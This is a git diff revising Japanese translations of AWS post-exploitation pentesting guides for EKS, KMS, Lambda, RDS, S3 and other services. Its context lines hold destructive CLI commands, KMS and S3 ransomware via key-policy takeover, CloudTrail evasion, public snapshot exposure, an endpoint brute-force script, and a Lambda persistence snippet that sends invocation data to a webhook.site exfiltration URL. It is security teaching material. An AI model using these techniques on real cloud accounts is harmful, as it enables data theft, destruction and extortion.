-**潜在的な影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービスの中断。
+**潜在的影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービス中断。
 
 ### `elasticfilesystem:UpdateFileSystem`
 
-攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソースの枯渇を引き起こしたりする可能性があります。
+攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソース枯渇を引き起こしたりする可能性があります。
 ```sql
 aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
 ```
@@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-
 
 ### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint`
 
-攻撃者はアクセス・ポイントを作成または削除することで、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
+攻撃者はアクセスポイントを作成または削除し、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
 ```arduino
 aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
 aws efs delete-access-point --access-point-id <value>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -10,22 +10,22 @@
 ../aws-services/aws-eks-enum.md
 {{#endref}}
 
-### AWSコンソールからクラスターを列挙する
+### AWS コンソールからクラスターを列挙する
 
-**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKSコンソールを介して**Kubernetesオブジェクトを表示**できます（[詳細はこちら](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)）。
+**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKS コンソールを介して **Kubernetes オブジェクトを表示** できます ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
 
-### AWS Kubernetesクラスターに接続する
+### AWS Kubernetes クラスターに接続する
 
 - 簡単な方法:
 ```bash
 # Generate kubeconfig
 aws eks update-kubeconfig --name aws-eks-dev
 ```
-- 簡単ではない方法:
+- 簡単ではない方法：
 
-もし **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスター情報 (describeCluster) を取得する権限がない場合、**自分の `~/.kube/config` を準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です (ポッドから JWT トークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を参照) と **クラスターの名前** が必要です。
+もしあなたが **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスター情報を取得する権限（describeCluster）がない場合、あなた自身の **`~/.kube/config`** を **準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です（ポッドからJWTトークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を読んでください）と **クラスターの名前** が必要です。
 
-私の場合、CloudWatch ログでは情報を見つけられませんでしたが、**LaunchTemplates の userData** と **EC2 マシンの userData** で見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では (クラスター名は cluster-name でした):
+私の場合、CloudWatchログでは情報を見つけられませんでしたが、**LaunchTemplatesのuserData** と **EC2マシンのuserData** で情報を見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では（クラスター名は cluster-name でした）：
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
@@ -72,24 +72,24 @@ provideClusterInfo: false
 
 ### AWSからKubernetesへ
 
-**EKSクラスター**の**作成者**は、グループ**`system:masters`**（k8s管理者）のkubernetesクラスター部分に**常に**アクセスできることになります。この執筆時点では、**クラスターを作成した人**を見つける**直接的な方法**はありません（CloudTrailを確認できます）。また、その**特権**を**削除する方法**もありません。
+**EKSクラスター**の**作成者**は、グループ**`system:masters`**（k8s管理者）のkubernetesクラスター部分に**常に**アクセスできることになります。この文書作成時点では、**クラスターを作成した人**を見つける**直接的な方法**は**ありません**（CloudTrailを確認できます）。また、その**特権**を**削除する方法**も**ありません**。
 
-**K8sへのアクセスを他のAWS IAMユーザーやロールに付与する方法**は、**configmap** **`aws-auth`**を使用することです。
+**AWS IAMユーザーやロールにK8sへのアクセスを付与する方法**は、**configmap** **`aws-auth`**を使用することです。
 
 > [!WARNING]
 > したがって、config map **`aws-auth`**に**書き込みアクセス**を持つ人は、**クラスター全体を危険にさらす**ことができます。
 
-**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**privescこのページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
+**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**このページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
 
 また、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **投稿をチェックして、IAMからKubernetesへの認証がどのように機能するかを学んでください**。
 
 ### KubernetesからAWSへ
 
-**Kubernetesサービスアカウント**のために**OpenID認証を許可する**ことが可能で、これによりAWSでロールを引き受けることができます。これがどのように機能するかについては、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
+**Kubernetesサービスアカウント**のための**OpenID認証**を許可し、AWSでロールを引き受けることができるようにすることが可能です。これがどのように機能するかは、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
 
 ### JWTトークンからAPIサーバーエンドポイントを取得する
 
-JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準形式は次の通りです。
+JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準フォーマットは
 ```bash
 https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 ```
@@ -98,7 +98,7 @@ https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 - gr7
 - yl4
 
-とにかく、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
+いずれにせよ、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
 ```python
 from itertools import product
 from string import ascii_lowercase
@@ -123,20 +123,20 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
 
 ### CloudTrailのバイパス
 
-攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はAWS APIと対話しないため、CloudTrailにログを生成しません（トークンをローカルで作成するだけです）。
+攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はCloudTrailにログを生成しません（AWS APIと対話せず、トークンをローカルで作成するだけだからです）。
 
-したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連する何もログに記録しません**。
+したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連するログを記録しません**。
 
-**EKSクラスターにはこのアクセスをログに記録するログが有効になっている可能性がある**ことに注意してください（デフォルトでは無効になっていますが）。
+**EKSクラスターにはこのアクセスを記録するログが有効になっている可能性がある**ことに注意してください（デフォルトでは無効になっていますが）。
 
 ### EKSの身代金？
 
-デフォルトでは、**クラスターを作成したユーザーまたはロールは**、**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
+デフォルトでは、**クラスターを作成したユーザーまたはロール**は**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
 
-したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除した場合、~~攻撃者はクラスターを**身代金にすることができた~~**。
+したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除**すると、~~攻撃者は**クラスターを身代金にすることができた**~~**。
 
 > [!TIP]
-> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能であることに注意してください。
+> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能です。
 >
 > 実際、クラスターがFargateを使用している場合、EC2ノードを使用するか、すべてをEC2に移動してクラスターを回復し、ノード内のトークンにアクセスすることができます。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -1,10 +1,10 @@
-# AWS - Elastic Beanstalk ポストエクスプロイテーション
+# AWS - Elastic Beanstalk Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-詳細情報:
+詳細情報については：
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
@@ -15,16 +15,16 @@
 > [!NOTE]
 > TODO: これに対して追加の権限が必要かテストする
 
-`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
+`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションのデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
-**潜在的な影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
+**潜在的影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
 
 ### `elasticbeanstalk:TerminateEnvironment`
 
 > [!NOTE]
-> TODO: これに必要な権限が他にあるかテストする
+> TODO: これに対して追加の権限が必要かテストする
 
 `elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は、**既存の Elastic Beanstalk 環境を終了させる**ことができ、アプリケーションのダウンタイムを引き起こし、環境がバックアップ用に構成されていない場合はデータ損失の可能性があります。
 ```bash
@@ -41,7 +41,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
 ```bash
 aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
 ```
-**潜在的な影響**: アプリケーションリソース、構成、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
+**潜在的影響**: アプリケーションリソース、設定、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
 
 ### `elasticbeanstalk:SwapEnvironmentCNAMEs`
 
@@ -59,12 +59,12 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
 > [!NOTE]
 > TODO: これに必要な権限が他にあるかテストする
 
-`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は **Elastic Beanstalk リソースにタグを追加または削除することができます**。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
+`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は、**Elastic Beanstalk リソースにタグを追加または削除**することができます。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
 ```bash
 aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
 
 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
 ```
-**潜在的な影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
+**潜在的影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -1,24 +1,24 @@
-# AWS - IAM Post Exploitation
+# AWS - IAM ポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## IAM
 
-IAMアクセスに関する詳細情報:
+IAM アクセスに関する詳細情報:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-## Confused Deputy Problem
+## 混乱した代理人問題
 
-もしあなたが**外部アカウント(A)**にあなたのアカウントの**ロール**にアクセスすることを許可すると、**その外部アカウントに正確にアクセスできるのは誰か**について**0の可視性**しか持たないことになります。これは問題です。なぜなら、別の外部アカウント(B)が外部アカウント(A)にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。
+もしあなたが **外部アカウント (A)** にあなたのアカウントの **ロール** へのアクセスを許可すると、あなたは **その外部アカウントに正確にアクセスできる人が誰かについての可視性がゼロ** になるでしょう。これは問題です。なぜなら、別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。
 
-したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId`を指定することが可能です。これは、外部アカウント(A)が**あなたの組織のロールを引き受けるために**指定する必要がある「秘密」の文字列です。**外部アカウントBはこの文字列を知らないため**、Aにアクセスできても、**あなたのロールにアクセスすることはできません**。
+したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId` を指定することが可能です。これは、外部アカウント (A) が **あなたの組織のロールを引き受けるために指定する必要がある** "秘密" の文字列です。**外部アカウント B はこの文字列を知らないため**、A にアクセスできても、**あなたのロールにアクセスすることはできません**。
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-ただし、この`ExternalId`の「秘密」は**秘密ではありません**。IAMのロール引き受けポリシーを**読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウントAがそれを知っていて、外部アカウント**Bがそれを知らない限り、BがAを悪用してあなたのロールにアクセスすることを**防ぎます**。
+ただし、この `ExternalId` の "秘密" は **秘密ではありません**。IAM のロール引き受けポリシーを **読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っていて、外部アカウント **B がそれを知らない限り、B が A を悪用してあなたのロールにアクセスすることを防ぎます**。
 
 例:
 ```json
@@ -62,9 +62,9 @@ IAMアクセスに関する詳細情報:
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-このポリシーは**任意のアカウント**がこのLambdaを呼び出すために自分のapigatewayを設定することを許可します。
+このポリシーは**任意のアカウント**が自分のapigatewayを設定してこのLambdaを呼び出すことを許可します。
 
-#### S3を主体として
+#### S3をプリンシパルとして
 ```json
 "Condition": {
 "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ IAMアクセスに関する詳細情報:
 }
 }
 ```
-もしS3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、もし**あなたのバケットを削除し、攻撃者が自分のアカウントでそれを作成した場合**、彼らはこれを悪用することができます。
+S3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、**バケットを削除し、攻撃者が自分のアカウントで作成した場合**、彼らはこれを悪用することができます。
 
 #### サポートされていません
 ```json
@@ -84,7 +84,7 @@ IAMアクセスに関する詳細情報:
 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
-混乱した代理人の問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNをチェックする条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**（いくつかの情報源によるとCloudTrailのように）。
+Confused Deputyの問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNを確認する条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**（いくつかの情報源によるとCloudTrailのように）。
 
 ## 参考文献
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -12,9 +12,9 @@
 
 ### 情報の暗号化/復号化
 
-`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです：
+`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルへのパスを指定するために使用される URI スキームです：
 
-- `fileb://:` バイナリモードでファイルを読み取ります。通常、テキスト以外のファイルに使用されます。
+- `fileb://:` バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。
 - `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。
 
 > [!TIP]
@@ -60,14 +60,14 @@ aws kms decrypt \
 ```
 ### KMS ランサムウェア
 
-KMS に対して特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。
+KMS に特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対するアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。
 
 その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。
 
 > [!WARNING]
 > **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。
 
-> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください（ウェブコンソールにこのオプションがないため、この攻撃は CLI からのみ可能です）。
+> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください（このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です）。
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 }
 ```
 > [!CAUTION]
-> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを与え、その外部アカウントから元のアカウントにアクセスを戻す新しいポリシーを設定しようとすると、**できなくなります**。
+> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻すことはできません**。
 
 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
 
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます：
 
 - 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する**
-- 新しいキーで以前のバージョンで暗号化された**古いデータを再暗号化する**
+- 以前のバージョンで暗号化された**古いデータを新しいもので再暗号化する**
 - **KMSキーを削除する**
 - これで、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号化できるようになります
 
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> AWSは現在、**クロスアカウントからの以前のアクションの実行を防止しています：**
+> AWSは現在、**クロスアカウントから前のアクションが実行されるのを防いでいます：**
 
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -10,7 +10,7 @@
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### 他のLambdaのURLリクエストを盗む
+### 他のLambda URLリクエストを盗む
 
 攻撃者が何らかの方法でLambda内でRCEを取得した場合、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報（クッキー、認証情報など）が含まれている場合、それを盗むことができます。
 
@@ -18,7 +18,7 @@
 aws-warm-lambda-persistence.md
 {{#endref}}
 
-### 他のLambdaのURLリクエストと拡張リクエストを盗む
+### 他のLambda URLリクエストと拡張リクエストを盗む
 
 Lambda Layersを悪用することで、拡張機能を悪用し、Lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

@@ -20,10 +20,10 @@ bootstrapはユーザーコードをモジュールとして読み込むため
 
 この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**`bootstrap.py`**プロセス内で悪意のある**`bootstrap.py`**プロセスを実行させることです。このようにして、**悪意のあるbootstrap**プロセスは**initプロセスと通信を開始**し、リクエストを処理しますが、**正当な**bootstrapは**トラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。
 
-これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、達成するのは簡単な作業です。したがって、攻撃者は次のことができます：
+これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます：
 
 - **現在の呼び出しの偽の結果をinitプロセスに送信**し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。
-- **`/${invoke-id}/response`**にリクエストを送信する必要があります。
+- リクエストは**`/${invoke-id}/response`**に送信する必要があります。
 - invoke-idは、正当な**`bootstrap.py`**プロセスのスタックから[**inspect**](https://docs.python.org/3/library/inspect.html) pythonモジュールを使用して取得することができます（[ここで提案されたように](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)）または再度**`/2018-06-01/runtime/invocation/next`**にリクエストすることでも取得できます（[ここで提案されたように](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)）。
 - 次の呼び出しを処理する悪意のある**`boostrap.py`**を実行する。
 - ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。
@@ -52,9 +52,9 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
 exec(new_runtime)
 EOF
 ```
-For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
+詳細については、[https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)を確認してください。
 
-## References
+## 参考文献
 
 - [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,10 +1,10 @@
-# AWS - Lightsail Post Exploitation
+# AWS - Lightsail ポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Lightsail
 
-詳細については、次を確認してください：
+詳細については、次を確認してください:
 
 {{#ref}}
 ../aws-services/aws-lightsail-enum.md
@@ -16,12 +16,12 @@ DBにスナップショットがある場合、**古いスナップショット
 
 ### インスタンススナップショットの復元
 
-インスタンススナップショットには、**既に削除されたインスタンスの機密情報や、現在のインスタンスで削除された機密情報が含まれている可能性があります**。**スナップショットから新しいインスタンスを作成**し、確認してください。\
+インスタンススナップショットには、**すでに削除されたインスタンスの機密情報**や、現在のインスタンスで削除された機密情報が含まれている可能性があります。**スナップショットから新しいインスタンスを作成**し、確認してください。\
 または、**スナップショットをEC2のAMIにエクスポート**し、通常のEC2インスタンスの手順に従ってください。
 
 ### 機密情報へのアクセス
 
-Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください：
+Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-lightsail-privesc.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -2,15 +2,15 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## 組織
+## Organizations
 
-AWS Organizationsに関する詳細情報は、以下を確認してください：
+AWS Organizationsに関する詳細は、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### 組織を離れる
+### Orgを離れる
 ```bash
 aws organizations deregister-account --account-id <account_id> --region <region>
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md

@@ -42,7 +42,7 @@ aws rds modify-db-instance \
 
 これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開****可能**にすることができます。次に、彼はそのスナップショットから自分のアカウントにDBを作成することができます。
 
-攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、他の作成されたスナップショットを**公開**にすることができます。
+攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、**他の**作成されたスナップショットを**公開**にすることができます。
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録された場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
+`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限を昇格させたり、無許可の行動を行ったりする可能性があります。
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が行われる可能性があります。
+**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が可能になります。
 
 ### `rds:DeleteDBInstance`
 
@@ -66,17 +66,17 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**潜在的な影響**: 既存のRDSインスタンスの削除と、データの損失の可能性。
+**潜在的な影響**: 既存のRDSインスタンスの削除とデータの損失の可能性。
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
 > TODO: テスト
 
-この権限を持つ攻撃者は、**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
+この権限を持つ攻撃者は**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。
+**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -12,20 +12,20 @@
 
 ### 機密情報
 
-時には、バケット内で読み取り可能な機密情報を見つけることができます。例えば、terraformの状態秘密。
+時には、バケット内で読み取れる機密情報を見つけることができます。例えば、terraformの状態秘密。
 
 ### ピボッティング
 
 異なるプラットフォームがS3を使用して機密資産を保存している可能性があります。\
-例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されている可能性があります。書き込み権限を持つ攻撃者は、バケット内の**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
+例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されているかもしれません。書き込み権限を持つ攻撃者は、バケットの**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
 
 ### S3 ランサムウェア
 
-このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS（キー管理サービス）キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できます。しかし、オブジェクトは復号化できません。
+このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS（キー管理サービス）キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できるようになります。ただし、オブジェクトは復号化できません。
 
-攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット設定や、攻撃者がAWS環境自体にアクセスを得たことが原因である可能性があります。攻撃者は通常、個人を特定できる情報（PII）、保護された健康情報（PHI）、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
+攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット構成や、攻撃者がAWS環境自体にアクセスを得ることによるものです。攻撃者は通常、個人を特定できる情報（PII）、保護された健康情報（PHI）、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。
 
